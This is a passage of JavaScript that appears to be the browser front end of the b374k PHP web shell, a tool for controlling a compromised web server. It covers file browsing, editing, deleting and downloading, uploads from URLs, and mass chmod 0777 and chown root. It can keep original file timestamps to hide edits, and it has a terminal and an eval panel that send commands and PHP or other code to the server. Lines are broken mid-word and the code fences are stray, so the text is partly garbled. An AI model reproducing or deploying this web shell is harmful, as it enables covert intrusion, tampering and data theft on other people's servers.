        $('#'+id).find('.cBoxSelected').not('.cBoxAll').each(function(i){
                if((href = window[callback]($(this)))){
                        buffer[i] = href;
                }
        });
```

```
            return buffer;
}


function cbox_bind(id, callback){
        $('#'+id).find('.cBox').off('click');
        $('#'+id).find('.cBoxAll').off('click');

        $('#'+id).find('.cBox').on('click', function(e){
                if($(this).hasClass('cBoxSelected')){
                        $(this).removeClass('cBoxSelected');
                }
                else $(this).addClass('cBoxSelected');
                if(callback!=null) window[callback]();
        });
        $('#'+id).find('.cBoxAll').on('click', function(e){
                if($(this).hasClass('cBoxSelected')){
                        $('#'+id).find('.cBox').removeClass('cBoxSelected');
                        $('#'+id).find('.cBoxAll').removeClass('cBoxSelected');
                }
                else{
                        $('#'+id).find('.cBox').not('.cBoxException').addClass('cBoxSelecte
d');
                        $('#'+id).find('.cBoxAll').not('.cBoxException').addClass('cBoxSele
cted');
                }
                if(callback!=null) window[callback]();
        });
}


function action(path, type){
        title = "Action";
        content = '';
        if(type=='file') content = "<table class='boxtbl'><tr><td><input type='text' value=
'"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='edit button'>edit</
span><span class='ren button'>rename</span><span class='del button'>delete</span><span clas
s='dl button'>download</span></td></tr></table>";
        if(type=='dir') content = "<table class='boxtbl'><tr><td><input type='text' value='
"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</s
pan><span class='ul button'>upload</span><span class='ren button'>rename</span><span class=
'del button'>delete</span></td></tr></table>";
        if(type=='dot') content = "<table class='boxtbl'><tr><td><input type='text' value='
"+path+"' disabled></td></tr><tr data-path='"+path+"'><td><span class='find button'>find</s
pan><span class='ul button'>upload</span><span class='ren button'>rename</span><span class=
'del button'>delete</span><span class='newfile button'>new file</span><span class='newfolde
r button'>new folder</span></td></tr></table>";
        show_box(title, content);
        xpl_bind();
}

function navigate(path, showfiles){
        if(showfiles==null) showfiles = 'true';
        send_post({ cd:path, showfiles:showfiles }, function(res){
                if(res!='error'){
                        splits = res.split('{[|b374k|]}');
                        if(splits.length==3){
                                $('#nav').html(splits[1]);
                                if(showfiles=='true'){
                                        $('#explorer').html('');
                                        $('#explorer').html(splits[2]);
                                        sorttable.k($('#xplTable').get(0));
                                }
                                $('#terminalCwd').html(html_safe(get_cwd())+'&gt;');
                                xpl_bind();
                                window_resize();
                        }
                }
```

```
        });
}

function view(path, type, preserveTimestamp){
        if(preserveTimestamp==null) preserveTimestamp = 'true';
        send_post({ viewFile: path, viewType: type, preserveTimestamp:preserveTimestamp },
function(res){
                if(res!='error'){
                        $('#explorer').html('');
                        $('#explorer').html(res);
                        xpl_bind();
                        show_tab('explorer');
                        if((type=='edit')||(type=='hex')){
                                editResult = (type=='edit')? $('#editResult'):$('#editHexRe
sult');

                                if(editSuccess=='success'){
                                        editResult.html(' ( File saved )');
                                }
                                else if(editSuccess=='error'){
                                        editResult.html(' ( Failed to save file )');
                                }
                                editSuccess = '';
                        }
                        cbox_bind('editTbl');
                }
        });
}

function view_entry(el){
        if($(el).attr('data-path')!=''){
                entry = $(el).attr('data-path');
                $('#form').append("<input type='hidden' name='viewEntry' value='"+entry+"'>
");
                $('#form').submit();
                $('#form').html('');
        }
}

function ren(path){
        title = "Rename";
        content = "<table class='boxtbl'><tr><td class='colFit'>Rename to</td><td><input ty
pe='text' class='renameFileTo' value='" +path+"' onkeydown=\"trap_enter(event, 'ren_go');\"
><input type='hidden' class='renameFile' value='"+path+"'></td></tr><tr><td colspan='2'><sp
an class='button' onclick='ren_go();'>rename</span></td></tr></table>";
        show_box(title, content);
}

function ren_go(){
        renameFile = $('.renameFile').val();
        renameFileTo = $('.renameFileTo').val();
        send_post({renameFile:renameFile, renameFileTo:renameFileTo}, function(res){
                if(res!='error'){
                        navigate(res);
                        $('.boxresult').html('Operation(s) succeeded');
                        $('.renameFile').val($('.renameFileTo').val());
                }
                else $('.boxresult').html('Operation(s) failed');
        });
}

function newfolder(path){
        title = "New Folder";
        path = path + 'newfolder-' + time();
        content = "<table class='boxtbl'><tr><td class='colFit'>Folder Name</td><td><input
type='text' class='newFolder' value='"+path+"' onkeydown=\"trap_enter(event, 'newfolder_go'
);\"></td></tr><tr><td colspan='2'><span class='button' onclick='newfolder_go();'>create</s
pan></td></tr></table>";
        show_box(title, content);
```

```
}

function newfolder_go(){
        newFolder = $('.newFolder').val();
        send_post({newFolder:newFolder}, function(res){
                if(res!='error'){
                        navigate(res);
                        $('.boxresult').html('Operation(s) succeeded');
                }
                else $('.boxresult').html('Operation(s) failed');
        });
}

function newfile(path){
        title = "New File";
        path = path + 'newfile-' + time();
        content = "<table class='boxtbl'><tr><td class='colFit'>File Name</td><td><input ty
pe='text' class='newFile' value='"+path+"' onkeydown=\"trap_enter(event, 'newfile_go');\"><
/td></tr><tr><td colspan='2'><span class='button' onclick='newfile_go();'>create</span></td
></tr></table>";
        show_box(title, content);
}

function newfile_go(){
        newFile = $('.newFile').val();
        send_post({newFile:newFile}, function(res){
                if(res!='error'){
                        view(newFile, 'edit');
                        $('.boxresult').html('Operation(s) succeeded');
                }
                else $('.boxresult').html('Operation(s) failed');
        });
}

function viewfileorfolder(){
        title = "View File / Folder";
        content = "<table class='boxtbl'><tr><td><input type='text' class='viewFileorFolder
' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'viewfileorfolder_go');\">
</td></tr><tr><td><span class='button' onclick='viewfileorfolder_go();'>view</span></td></t
r></table>";
        show_box(title, content);
}

function viewfileorfolder_go(){
        entry = $('.viewFileorFolder').val();
        send_post({viewFileorFolder:entry}, function(res){
                if(res!='error'){
                        if(res=='file'){
                                view(entry, 'auto');
                                show_tab('explorer');
                        }
                        else if(res=='folder'){
                                navigate(entry);
                                show_tab('explorer');
                        }
                }
        });
}

function del(path){
        title = "Delete";
        content = "<table class='boxtbl'><tr><td class='colFit'>Delete</td><td><input type=
'text' class='delete' value='"+path+"' onkeydown=\"trap_enter(event, 'delete_go');\"></td><
/tr><tr><td colspan='2'><span class='button' onclick='delete_go();'>delete</span></td></tr>
</table>";
        show_box(title, content);
}
```

```
function delete_go(){
        path = $('.delete').val();
        send_post({delete:path}, function(res){
                if(res!='error'){
                        navigate(res);
                        $('.boxresult').html('Operation(s) succeeded');
                }
                else $('.boxresult').html('Operation(s) failed');
        });
}

function find(path){
        findfile = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Fi
nd File</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input ty
pe='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file
');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border
-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'f
ind_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span
><span class='floatLeft'>Regex</span>  <span class='cBox findfileFilenameInsensit
ive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-
bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='f
indfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><t
d><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span>&nbsp
; <span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case I
nsensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileReadable'>
</span><span class='floatLeft'>Readable</span>  <span class='cBox findfileWritabl
e'></span><span class='floatLeft'>Writable</span>  <span class='cBox findfileExec
utable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><s
pan class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button'
 onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult
'></td></tr></tfoot></table>";
        findfolder = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>
Find Folder</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><inpu
t type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_g
o_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td sty
le='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(e
vent, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex
'></span><span class='floatLeft'>Regex</span>   <span class='cBox findFolder
nameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Pe
rmissions</td><td><span class='cBox findReadable'></span><span class='floatLeft'>Readable</
span>  <span class='cBox findWritable'></span><span class='floatLeft'>Writable</s
pan>  <span class='cBox findExecutable'></span><span class='floatLeft'>Executable
</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>ex
plorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></
tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";
        $('#explorer').html("<div id='xplUpload'>" +findfile+'<br>'+findfolder+'</div>');
        cbox_bind('xplUpload');
}

function find_go_file(){
        find_go('file');
}

function find_go_folder(){
        find_go('folder');
}

function find_go(findType){
        findPath = (findType=='file')? $('.findfilePath').val():$('.findFolderPath').val();
        findResult = (findType=='file')? $('.findfileResult'):$('.findResult');

        findName = (findType=='file')? $('.findfileFilename').val():$('.findFoldername').va
l();
        findNameRegex = (findType=='file')? $('.findfileFilenameRegex').hasClass('cBoxSelec
ted').toString():$('.findFoldernameRegex').hasClass('cBoxSelected').toString();
        findNameInsensitive = (findType=='file')? $('.findfileFilenameInsensitive').hasClas
s('cBoxSelected').toString():$('.findFoldernameInsensitive').hasClass('cBoxSelected').toStr
ing();
```

```
        findContent = (findType=='file')? $('.findfileContains').val():"";
        findContentRegex = (findType=='file')? $('.findfileContainsRegex').hasClass('cBoxSe
lected').toString():"";
        findContentInsensitive = (findType=='file')? $('.findfileContainsInsensitive').hasC
lass('cBoxSelected').toString():"";

        findReadable = (findType=='file')? $('.findfileReadable').hasClass('cBoxSelected').
toString():$('.findWritable').hasClass('cBoxSelected').toString();
        findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').
toString():$('.findReadable').hasClass('cBoxSelected').toString();
        findExecutable = (findType=='file')? $('.findfileExecutable').hasClass('cBoxSelecte
d').toString():$('.findExecutable').hasClass('cBoxSelected').toString();

        send_post(
                {
                        findType:findType,
                        findPath:findPath,
                        findName:findName,
                        findNameRegex:findNameRegex,
                        findNameInsensitive:findNameInsensitive,
                        findContent:findContent,
                        findContentRegex:findContentRegex,
                        findContentInsensitive:findContentInsensitive,
                        findReadable:findReadable,
                        findWritable:findWritable,
                        findExecutable:findExecutable
                },
                function(res){
                        if(res!='error'){
                                findResult.html(res);
                        }
                }
        );
}

function ul_go_comp(){
        ul_go('comp');
}

function ul_go_url(){
        ul_go('url');
}

function ul(path){
        ulcomputer = "<table class='boxtbl ulcomp'><thead><tr><th colspan='2'><p class='box
title'>Upload From Computer <a onclick='ul_add_comp();'>(+)</a></p></th></tr></thead><tbody
 class='ulcompadd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>
explorer</span></td><td><span class='button' onclick=\"ul_go_comp();\">upload</span></td></
tr><tr><td colspan='2' class='ulCompResult'></td></tr><tr><td colspan='2'><div id='ulDragND
rop'>Or Drag and Drop files here</div></td></tr><tr><td colspan='2' class='ulDragNDropResul
t'></td></tr></tfoot></table>";
        ulurl = "<table class='boxtbl ulurl'><thead><tr><th colspan='2'><p class='boxtitle'
>Upload From Url <a onclick='ul_add_url();'>(+)</a></p></th></tr></thead><tbody class='ulur
ladd'></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</spa
n></td><td><span class='button' onclick=\"ul_go_url();\">upload</span></td></tr><tr><td col
span='2' class='ulUrlResult'></td></tr></tfoot></table>";
        content = ulcomputer + '<br>' + ulurl + "<input type='hidden' class='ul_path' value
='"+path+"'>";
        $('#explorer').html(content);
        ul_add_comp();
        ul_add_url();

        $('#ulDragNDrop').on('dragenter', function(e){
                e.stopPropagation();
                e.preventDefault();
        });
```

```
        $('#ulDragNDrop').on('dragover', function(e){
                e.stopPropagation();
                e.preventDefault();
        });

        $('#ulDragNDrop').on('drop', function(e){
                e.stopPropagation();
                e.preventDefault();

                files = e.target.files || e.dataTransfer.files;
                ulResult = $('.ulDragNDropResult');
                ulResult.html('');
                $.each(files, function(i){
                        if(this){
                                ulType = 'DragNDrop';
                                filename = this.name;

                                var formData = new FormData();
                                formData.append('ulFile', this);
                                formData.append('ulSaveTo', get_cwd());
                                formData.append('ulFilename', filename);
                                formData.append('ulType', 'comp');

                                entry = "<p class='ulRes"+ulType+i+"'><span class='strong'>
&gt;</span> <a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"
</a> <span class='ulProgress"+ulType+i+"'></span></p>";
                                ulResult.append(entry);

                                if(this.size<=0){
                                        $('.ulProgress'+ulType+i).html('( failed )');
                                        $('.ulProgress'+ulType+i).removeClass('ulProgress'+
ulType+i);

                                        $('.ulFilename'+ulType+i).removeClass('ulFilename'+
ulType+i);
                                }
                                else{
                                        ul_start(formData, ulType, i);
                                }
                        }
                });
        });
}

function ul_add_comp(path){
        path = html_safe($('.ul_path').val());
        $('.ulcompadd').append("<tr><td style='width:144px'>File</td><td><input type='file'
 class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToCom
p' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filena
me (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(even
t, 'ul_go_comp');\"></td></tr>");
}

function ul_add_url(path){
        path = html_safe($('.ul_path').val());
        $('.ulurladd').append("<tr><td style='width:144px'>File URL</td><td><input type='te
xt' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save
to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(e
vent, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' clas
s='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>");
}

function ul_start(formData, ulType, i){
        loading_start();
        $.ajax({
                url: targeturl,
                type: 'POST',
                data: formData,
                cache: false,
```

```
                        contentType: false,
                        processData: false,
                        xhr: function(){
                                myXhr = $.ajaxSettings.xhr();
                                if(myXhr.upload){
                                        myXhr.upload.addEventListener('progress', function(e){
                                                percent = Math.floor(e.loaded / e.total * 100);
                                                $('.ulProgress'+ulType+i).html('( '+ percent +'% )'
);
                                        }, false);
                                }
                                return myXhr;
                        },
                        success: function(res){
                                if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*th
e.*limit.*of/)){
                                        res = 'error';
                                }

                                if(res=='error'){
                                        $('.ulProgress'+ulType+i).html('( failed )');
                                }
                                else{
                                        $('.ulRes'+ulType+i).html(res);
                                }
                                loading_stop();
                        },
                        error: function(){
                                loading_stop();
                                $('.ulProgress'+ulType+i).html('( failed )');
                                $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
                                $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
                        }
                });
}

function ul_go(ulType){
        ulFile = (ulType=='comp')? $('.ulFileComp'):$('.ulFileUrl');
        ulResult = (ulType=='comp')? $('.ulCompResult'):$('.ulUrlResult');
        ulResult.html('');

        ulFile.each(function(i){
                if(((ulType=='comp')&&this.files[0])||((ulType=='url')&&(this.value!=''))){
                        file = (ulType=='comp')? this.files[0]: this.value;
                        filename = (ulType=='comp')? file.name: file.substring(file.lastInd
exOf('/')+1);

                        ulSaveTo = (ulType=='comp')? $('.ulSaveToComp')[i].value:$('.ulSave
ToUrl')[i].value;
                        ulFilename = (ulType=='comp')? $('.ulFilenameComp')[i].value:$('.ul
FilenameUrl')[i].value;

                        var formData = new FormData();
                        formData.append('ulFile', file);
                        formData.append('ulSaveTo', ulSaveTo);
                        formData.append('ulFilename', ulFilename);
                        formData.append('ulType', ulType);

                        entry = "<p class='ulRes"+ulType+i+"'><span class='strong'>&gt;</sp
an> <a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a>&nbs
p;<span class='ulProgress"+ulType+i+"'></span></p>";
                        ulResult.append(entry);

                        check = true;
                        if(ulType=='comp'){
                                check = (file.size<=0);
                        }
                        else check = (file=="");
```

```
                                if(check){
                                        $('.ulProgress'+ulType+i).html('( failed )');
                                        $('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i
);
                                        $('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i
);
                                }
                                else{
                                        ul_start(formData, ulType, i);
                                }
                        }
                });
}

function trap_ctrl_enter(el, e, callback){
        if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
                if(callback!=null) window[callback]();
        }
        fix_tabchar(el, e);
}

function edit_save_raw(){
        edit_save('edit');
}

function edit_save_hex(){
        edit_save('hex');
}

function edit_save(editType){
        editFilename = $('#editFilename').val();
        editInput = $('#editInput').val();
        editSuccess = false;
        preserveTimestamp = 'false';
        if($('.cBox').hasClass('cBoxSelected')) preserveTimestamp = 'true';
        send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserve
Timestamp:preserveTimestamp},
                function(res){
                if(res!='error'){
                        editSuccess = 'success';
                        view(editFilename, editType, preserveTimestamp);
                }
                else editSuccess = 'error';
                }
        );
}




function mass_act(type){
        buffer = get_all_cbox_selected('xplTable', 'xpl_href');

        if((type=='cut')||(type=='copy')){
                localStorage.setItem('bufferLength', buffer.length);
                localStorage.setItem('bufferAction', type);
                $.each(buffer,function(i,v){
                        localStorage.setItem('buffer_'+i, v);
                });
        }
        else if(type=='paste'){
                bufferLength = localStorage.getItem('bufferLength');
                bufferAction = localStorage.getItem('bufferAction');
                if(bufferLength>0){
                        massBuffer = '';
                        for(var i=0;i<bufferLength;i++){
                                if((buff = localStorage.getItem('buffer_'+i))){
                                        massBuffer += buff + '\n';
```

```
                                    }
                            }
                            massBuffer = $.trim(massBuffer);

                            if(bufferAction=='cut') title = 'move';
                            else if(bufferAction=='copy') title = 'copy';

                            content = "<table class='boxtbl'><tr><td colspan='2'><textarea clas
s='massBuffer' style='height:120px;min-height:120px;' disabled>"+massBuffer+"</textarea></t
d></tr><tr><td class='colFit'>"+title+" here</td><td><input type='text' value='"+html_safe(
get_cwd())+"' onkeydown=\"trap_enter(event, 'mass_act_go_paste');\"></td></tr><tr><td colsp
an='2'><span class='button' onclick=\"mass_act_go('paste');\">"+title+"</span></td></tr></t
able>";
                            show_box(ucfirst(title), content);
                    }

            }
        else if((type=='extract (tar)')||(type=='extract (tar.gz)')||(type=='extract (zip)'
)){
                    if(type=='extract (tar)') arcType = 'untar';
                    else if(type=='extract (tar.gz)') arcType = 'untargz';
                    else if(type=='extract (zip)') arcType = 'unzip';

                    if(buffer.length>0){
                            massBuffer = '';
                            $.each(buffer,function(i,v){
                                    massBuffer += v + '\n';
                            });
                            massBuffer = $.trim(massBuffer);
                            title = type;

                            content = "<table class='boxtbl'><tr><td colspan='2'><textarea clas
s='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</t
extarea></td></tr><tr><td class='colFit'>Extract to</td><td><input class='massValue' type='
text' value='"+html_safe(get_cwd())+"'  onkeydown=\"trap_enter(event, 'mass_act_go_"+arcTyp
e+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcTyp
e+"');\">extract</span></td></tr></table>";
                            show_box(ucfirst(title), content);
                    }
            }
        else if((type=='compress (tar)')||(type=='compress (tar.gz)')||(type=='compress (zi
p)')){
                    date = new Date();
                    rand = date.getTime();
                    if(type=='compress (tar)'){
                            arcType = 'tar';
                            arcFilename = rand+'.tar';
                    }
                    else if(type=='compress (tar.gz)'){
                            arcType = 'targz';
                            arcFilename = rand+'.tar.gz';
                    }
                    else if(type=='compress (zip)'){
                            arcType = 'zip';
                            arcFilename = rand+'.zip';
                    }

                    if(buffer.length>0){
                            massBuffer = '';
                            $.each(buffer,function(i,v){
                                    massBuffer += v + '\n';
                            });
                            massBuffer = $.trim(massBuffer);
                            title = type;

                            content = "<table class='boxtbl'><tr><td colspan='2'><textarea clas
s='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</t
extarea></td></tr><tr><td class='colFit'>Archive</td><td><input class='massValue' type='tex
```

```
t' value='"+arcFilename+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td
></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">comp
ress</span></td></tr></table>";
                            show_box(ucfirst(title), content);
                    }
        }
        else if(type!=''){
                if(buffer.length>0){
                        massBuffer = '';
                        $.each(buffer,function(i,v){
                                massBuffer += v + '\n';
                        });
                        massBuffer = $.trim(massBuffer);
                        title = type;
                        line = '';
                        if(type=='chmod') line = "<tr><td class='colFit'>chmod</td><td><inp
ut class='massValue' type='text' value='0777' onkeydown=\"trap_enter(event, 'mass_act_go_"+
type+"');\"></td></tr>";
                        else if(type=='chown') line = "<tr><td class='colFit'>chown</td><td
><input class='massValue' type='text' value='root' onkeydown=\"trap_enter(event, 'mass_act_
go_"+type+"');\"></td></tr>";
                        else if(type=='touch'){
                                var now = new Date();
                                line = "<tr><td class='colFit'>touch</td><td><input class='
massValue' type='text' value='"+now.toGMTString()+"' onkeydown=\"trap_enter(event, 'mass_ac
t_go_"+type+"');\"></td></tr>";
                        }

                        content = "<table class='boxtbl'><tr><td colspan='2'><textarea clas
s='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</t
extarea></td></tr>"+line+"<tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"
+type+"');\">"+title+"</span></td></tr></table>";
                        show_box(ucfirst(title), content);
                }
        }

        $('.cBoxSelected').removeClass('cBoxSelected');
        xpl_update_status();
}

function mass_act_go_tar(){
        mass_act_go('tar');
}

function mass_act_go_targz(){
        mass_act_go('targz');
}

function mass_act_go_zip(){
        mass_act_go('zip');
}

function mass_act_go_untar(){
        mass_act_go('untar');
}

function mass_act_go_untargz(){
        mass_act_go('untargz');
}

function mass_act_go_unzip(){
        mass_act_go('unzip');
}

function mass_act_go_paste(){
        mass_act_go('paste');
}
```

```
function mass_act_go_chmod(){
        mass_act_go('chmod');
}

function mass_act_go_chown(){
        mass_act_go('chown');
}

function mass_act_go_touch(){
        mass_act_go('touch');
}

function mass_act_go(massType){
        massBuffer = $.trim($('.massBuffer').val());
        massPath = get_cwd();
        massValue = '';
        if(massType=='paste'){
                bufferLength = localStorage.getItem('bufferLength');
                bufferAction = localStorage.getItem('bufferAction');
                if(bufferLength>0){
                        massBuffer = '';
                        for(var i=0;i<bufferLength;i++){
                                if((buff = localStorage.getItem('buffer_'+i))){
                                        massBuffer += buff + '\n';
                                }
                        }
                        massBuffer = $.trim(massBuffer);
                        if(bufferAction=='copy') massType = 'copy';
                        else if(bufferAction=='cut') massType = 'cut';
                }
        }
        else if((massType=='chmod')||(massType=='chown')||(massType=='touch')){
                massValue = $('.massValue').val();
        }
        else if((massType=='tar')||(massType=='targz')||(massType=='zip')){
                massValue = $('.massValue').val();
        }
        else if((massType=='untar')||(massType=='untargz')||(massType=='unzip')){
                massValue = $('.massValue').val();
        }


        if(massBuffer!=''){
                send_post({massType:massType,massBuffer:massBuffer,massPath:massPath,massVa
lue:massValue }, function(res){
                        if(res!='error'){
                                $('.boxresult').html(res+' Operation(s) succeeded');
                        }
                        else $('.boxresult').html('Operation(s) failed');
                        navigate(get_cwd());
                });
        }
}

function xpl_update_status(){
        totalSelected = $('#xplTable').find('.cBoxSelected').not('.cBoxAll').length;
        if(totalSelected==0) $('.xplSelected').html('');
        else $('.xplSelected').html(', '+totalSelected+' item(s) selected');
}


function xpl_bind(){
        $('.navigate').off('click');
        $('.navigate').on('click', function(e){
                path = xpl_href($(this));
                navigate(path);
                hide_box();
        });
```

```
        $('.navbar').off('click');
        $('.navbar').on('click', function(e){
                path = $(this).attr('data-path');
                navigate(path);
                hide_box();
        });

        $('.newfolder').off('click');
        $('.newfolder').on('click', function(e){
                path = html_safe(xpl_href($(this)));
                newfolder(path);
        });

        $('.newfile').off('click');
        $('.newfile').on('click', function(e){
                path = html_safe(xpl_href($(this)));
                newfile(path);
        });

        $('.del').off('click');
        $('.del').on('click', function(e){
                path = html_safe(xpl_href($(this)));
                del(path);
        });

        $('.view').off('click');
        $('.view').on('click', function(e){
                path = xpl_href($(this));
                view(path, 'auto');
                hide_box();
        });

        $('.hex').off('click');
        $('.hex').on('click', function(e){
                path = xpl_href($(this));
                view(path, 'hex');
        });

        $('#viewFullsize').off('click');
        $('#viewFullsize').on('click', function(e){
                src = $('#viewImage').attr('src');
                window.open(src);
        });

        $('.edit').off('click');
        $('.edit').on('click', function(e){
                path = xpl_href($(this));
                view(path, 'edit');
                hide_box();
        });

        $('.ren').off('click');
        $('.ren').on('click', function(e){
                path = html_safe(xpl_href($(this)));
                ren(path);
        });

        $('.action').off('click');
        $('.action').on('click', function(e){
                path = html_safe(xpl_href($(this)));
                action(path, 'file');
        });

        $('.actionfolder').off('click');
        $('.actionfolder').on('click', function(e){
                path = html_safe(xpl_href($(this)));
                action(path, 'dir');
```

```
        });

        $('.actiondot').off('click');
        $('.actiondot').on('click', function(e){
                path = html_safe(xpl_href($(this)));
                action(path, 'dot');
        });

        $('.dl').off('click');
        $('.dl').on('click', function(e){
                path = html_safe(xpl_href($(this)));
                $('#form').append("<input type='hidden' name='download' value='"+path+"'>")
;
                $('#form').submit();
                $('#form').html('');
                hide_box();
        });

        $('.ul').off('click');
        $('.ul').on('click', function(e){
                path = xpl_href($(this));
                navigate(path, false);
                path = html_safe(path);
                ul(path);
                hide_box();
        });

        $('.find').off('click');
        $('.find').on('click', function(e){
                path = xpl_href($(this));
                navigate(path, false);
                path = html_safe(path);
                find(path);
                hide_box();
        });

        $('#massAction').off('click');
        $('#massAction').on('change', function(e){
                type = $('#massAction').val();
                mass_act(type);
                $('#massAction').val('Action');
        });

        cbox_bind('xplTable','xpl_update_status');
}

function xpl_href(el){
        return el.parent().parent().attr('data-path');
}

function multimedia(path){
        var a = $('video').get(0);
        send_post({multimedia:path}, function(res){
                a.src = res;
        });
        hide_box();
}

$('#terminalInput').on('keydown', function(e){
        if(e.keyCode==13){
                cmd = $('#terminalInput').val();
                terminalHistory.push(cmd);
                terminalHistoryPos = terminalHistory.length;
                if(cmd=='clear'||cmd=='cls'){
                        $('#terminalOutput').html('');
                }
                else if((path = cmd.match(/cd(.*)/i)) || (path = cmd.match(/^([a-z]:)$/i)))
{
```

```
                                path = $.trim(path[1]);
                                navigate(path);
                        }
                        else if(cmd!=''){
                                send_post({ terminalInput: cmd }, function(res){
                                        cwd = html_safe(get_cwd());
                                        res = '<span class=\'strong\'>'+cwd+'&gt;</span>'+html_safe
(cmd)+ '\n' + res+'\n';
                                        $('#terminalOutput').append(res);
                                        bottom = $(document).height()-$(window).height();
                                        $(window).scrollTop(bottom);
                                });
                        }
                        $('#terminalInput').val('');
                        setTimeout("$('#terminalInput').focus()",100);
                }
                else if(e.keyCode==38){
                        if(terminalHistoryPos>0){
                                terminalHistoryPos--;
                                $('#terminalInput').val(terminalHistory[terminalHistoryPos]);
                                if(terminalHistoryPos<0) terminalHistoryPos = 0;
                        }
                }
                else if(e.keyCode==40){
                        if(terminalHistoryPos<terminalHistory.length-1){
                                terminalHistoryPos++;
                                $('#terminalInput').val(terminalHistory[terminalHistoryPos]);
                                if(terminalHistoryPos>terminalHistory.length) terminalHistoryPos =
terminalHistory.length;
                        }
                }
                fix_tabchar(this, e);
});

function eval_go(){
        evalType = $('#evalType').val();
        evalInput = $('#evalInput').val();
        evalOptions = $('#evalOptions').val();
        evalArguments = $('#evalArguments').val();

        if(evalOptions=='Options/Switches') evalOptions = '';
        if(evalArguments=='Arguments') evalArguments = '';

        if($.trim(evalInput)!=''){
                send_post({ evalInput:evalInput, evalType:evalType, evalOptions:evalOptions
, evalArguments:evalArguments },
                        function(res){
                                if(res!='error'){
                                        splits = res.split('{[|b374k|]}');
                                        if(splits.length==2){
                                                output = splits[0]+"<hr>"+splits[1];
                                                $('#evalOutput').html(output);
                                        }
                                        else{
                                                $('#evalOutput').html(res);
                                        }
                                }
                        }
                );
        }
}

function eval_init(){
        if((evalSupported = localStorage.getItem('evalSupported'))){
                eval_bind();
                output("eval : "+evalSupported);
                evalReady = true;
        }
```

```
        else{
                send_post({evalGetSupported:"evalGetSupported"}, function(res){
                        evalReady = true;
                        if(res!="error"){
                                localStorage.setItem('evalSupported', res);
                                evalSupported = res;
                                eval_bind();
                                output("eval : "+evalSupported);
                        }
                });
        }
}

function eval_bind(){
        if((evalSupported!=null)&&(evalSupported!='')){
                splits = evalSupported.split(",");
                $.each(splits, function(i, k){
                        $('#evalType').append("<option>"+k+"</option>");
                });
        }
        $('#evalType').on('change', function(e){
                if($('#evalType').val()=='php'){
                        $('#evalAdditional').hide();
                }
                else{
                        $('#evalAdditional').show();
                }
        });
        $('#evalOptions').on('focus', function(e){
                options = $('#evalOptions');
                if(options.val()=='Options/Switches') options.val('');
        });
        $('#evalOptions').on('blur', function(e){
                options = $('#evalOptions');
                if($.trim(options.val())=='') options.val('Options/Switches');
        });
        $('#evalArguments').on('focus', function(e){
                args = $('#evalArguments');
                if(args.val()=='Arguments') args.val('');
        });
        $('#evalArguments').on('blur', function(e){
                args = $('#evalArguments');
                if($.trim(args.val())=='') args.val('Arguments');
        });

        $('#evalInput').on('keydown', function(e){
                if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
                        eval_go();
                }
